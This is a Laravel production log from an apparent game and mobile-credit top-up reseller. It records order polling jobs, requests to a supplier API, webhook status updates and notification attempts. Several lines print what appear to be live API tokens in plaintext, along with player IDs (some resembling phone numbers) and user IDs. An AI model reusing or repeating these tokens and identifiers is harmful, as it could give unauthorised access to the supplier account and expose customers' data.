[2026-03-24 21:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 21:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":1,"order_ids":["ORD-p8fvwv-1774376659"]} 
[2026-03-24 21:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":1} 
[2026-03-24 21:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:26:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:26:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"count":1} 
[2026-03-24 21:26:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"count":1} 
[2026-03-24 21:26:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"user_id":1056,"notification_type":"order_approved","reference_id":179396} 
[2026-03-24 21:26:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:26:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:26:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"processed":1,"errors":0} 
[2026-03-24 21:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271,"processed":1,"errors":0} 
[2026-03-24 21:26:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-p8fvwv-1774376659","operation_id":164271} 
[2026-03-24 21:26:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 21:27:33] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2000.0","mainamount":"2000","operation_number":"158757250","note":"لوكيشن للإتصالات","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php5qonhjutaqgp3OJsLmr"}},"user_id":1123} 
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:27:36] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:27:36] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18714,"user_id":1123,"amount":2000.0,"admins_notified":7} 
[2026-03-24 21:27:49] production.INFO: SendAcceptReject: Notification queued {"user_id":1123,"notification_type":"request_approved","reference_id":18714} 
[2026-03-24 21:27:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1123  
[2026-03-24 21:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03"} 
[2026-03-24 21:28:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","total_operations":3,"sites_count":1} 
[2026-03-24 21:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820"]} 
[2026-03-24 21:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 21:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 21:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:28:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YtKQRObqEHTHgV6lGL7xQRuHYLabbCvY","execution_time":"2026-03-24 21:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:28:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 64  
[2026-03-24 21:29:19] production.INFO: Constructing job for order: 179398  
[2026-03-24 21:29:21] production.INFO: Handling job for order: 179398  
[2026-03-24 21:29:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:29:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:29:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=74f22df6-f208-469d-b824-29caac45e671&Player_ID=471156  
[2026-03-24 21:29:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=74f22df6-f208-469d-b824-29caac45e671&Player_ID=471156","has_body":false} 
[2026-03-24 21:29:22] production.INFO: Operation sent successfully {"operation_id":164273,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GfN-1774376962","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 21:29:22"}},"processed_data":{"order_number":"ORD-GfN-1774376962","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 21:29:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-GfN-1774376962","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:29:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-GfN-1774376962","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:29:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:29:28] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179398} 
[2026-03-24 21:29:28] production.INFO: Order updated successfully. Order ID: 179398, Status: completed  
[2026-03-24 21:29:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-GfN-1774376962","status":"completed","codes_count":0} 
[2026-03-24 21:29:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 21:30:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01"} 
[2026-03-24 21:30:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","total_operations":3,"sites_count":1} 
[2026-03-24 21:30:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820"]} 
[2026-03-24 21:30:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:30:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 21:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:30:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 21:30:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:30:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ajiaxdgzfUj9j9EeK6ocs9UHUGSOP6Zl","execution_time":"2026-03-24 21:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 21:30:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 21:30:04] production.INFO: async() رجع: true  
[2026-03-24 21:30:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:30:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:30:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:30:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:30:26] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 21:30:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 64  
[2026-03-24 21:30:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:31:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-dmC3KGa-1774375766","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 21:31:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-dmC3KGa-1774375766","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 21:31:10] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 21:31:10] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"order_rejected","reference_id":179374} 
[2026-03-24 21:31:10] production.INFO: Order updated successfully. Order ID: 179374, Status: rejected  
[2026-03-24 21:31:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-dmC3KGa-1774375766","status":"rejected","codes_count":0} 
[2026-03-24 21:31:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:31:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:31:13] production.INFO: Constructing job for order: 179399  
[2026-03-24 21:31:14] production.INFO: Handling job for order: 179399  
[2026-03-24 21:31:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:31:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:31:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=29c333b5-c4dc-490a-aa16-4dad82cec63a&Player_ID=52106294900  
[2026-03-24 21:31:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=29c333b5-c4dc-490a-aa16-4dad82cec63a&Player_ID=52106294900","has_body":false} 
[2026-03-24 21:31:15] production.INFO: Operation sent successfully {"operation_id":164274,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dpub3HM-1774377075","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:31:15"}},"processed_data":{"order_number":"ORD-dpub3HM-1774377075","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:31:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aN9XaXgI-1774375820","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 21:31:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-aN9XaXgI-1774375820","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 21:31:19] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 21:31:19] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"order_rejected","reference_id":179376} 
[2026-03-24 21:31:19] production.INFO: Order updated successfully. Order ID: 179376, Status: rejected  
[2026-03-24 21:31:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aN9XaXgI-1774375820","status":"rejected","codes_count":0} 
[2026-03-24 21:31:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:31:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:31:31] production.INFO: Constructing job for order: 179400  
[2026-03-24 21:31:33] production.INFO: Handling job for order: 179400  
[2026-03-24 21:31:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:31:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:31:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=f632ac52-ed8c-4af5-8f9b-5216ba802e10&Player_ID=0930826746  
[2026-03-24 21:31:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=f632ac52-ed8c-4af5-8f9b-5216ba802e10&Player_ID=0930826746","has_body":false} 
[2026-03-24 21:31:34] production.INFO: Operation sent successfully {"operation_id":164275,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oAPxE5vX-1774377093","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:31:34"}},"processed_data":{"order_number":"ORD-oAPxE5vX-1774377093","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:31:36] production.INFO: Constructing job for order: 179401  
[2026-03-24 21:31:37] production.INFO: Handling job for order: 179401  
[2026-03-24 21:31:37] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:31:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:31:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=b2531984-c1cb-48a9-9d44-eb03101c1dea&Player_ID=0930826746  
[2026-03-24 21:31:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=b2531984-c1cb-48a9-9d44-eb03101c1dea&Player_ID=0930826746","has_body":false} 
[2026-03-24 21:31:37] production.INFO: Operation sent successfully {"operation_id":164276,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yHyJa-1774377097","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:31:37"}},"processed_data":{"order_number":"ORD-yHyJa-1774377097","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:31:58] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-dpub3HM-1774377075","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:31:58] production.INFO: Processed webhook data (normalized) {"id":"ORD-dpub3HM-1774377075","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:31:58] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:31:58] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":179399} 
[2026-03-24 21:31:58] production.INFO: Order updated successfully. Order ID: 179399, Status: completed  
[2026-03-24 21:31:58] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-dpub3HM-1774377075","status":"completed","codes_count":0} 
[2026-03-24 21:31:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 21:32:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01"} 
[2026-03-24 21:32:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","total_operations":3,"sites_count":2} 
[2026-03-24 21:32:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ruo-1774375001"]} 
[2026-03-24 21:32:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":2,"order_ids":["ORD-oAPxE5vX-1774377093","ORD-yHyJa-1774377097"]} 
[2026-03-24 21:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":2} 
[2026-03-24 21:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275} 
[2026-03-24 21:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 21:32:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:32:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"count":1} 
[2026-03-24 21:32:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"count":1} 
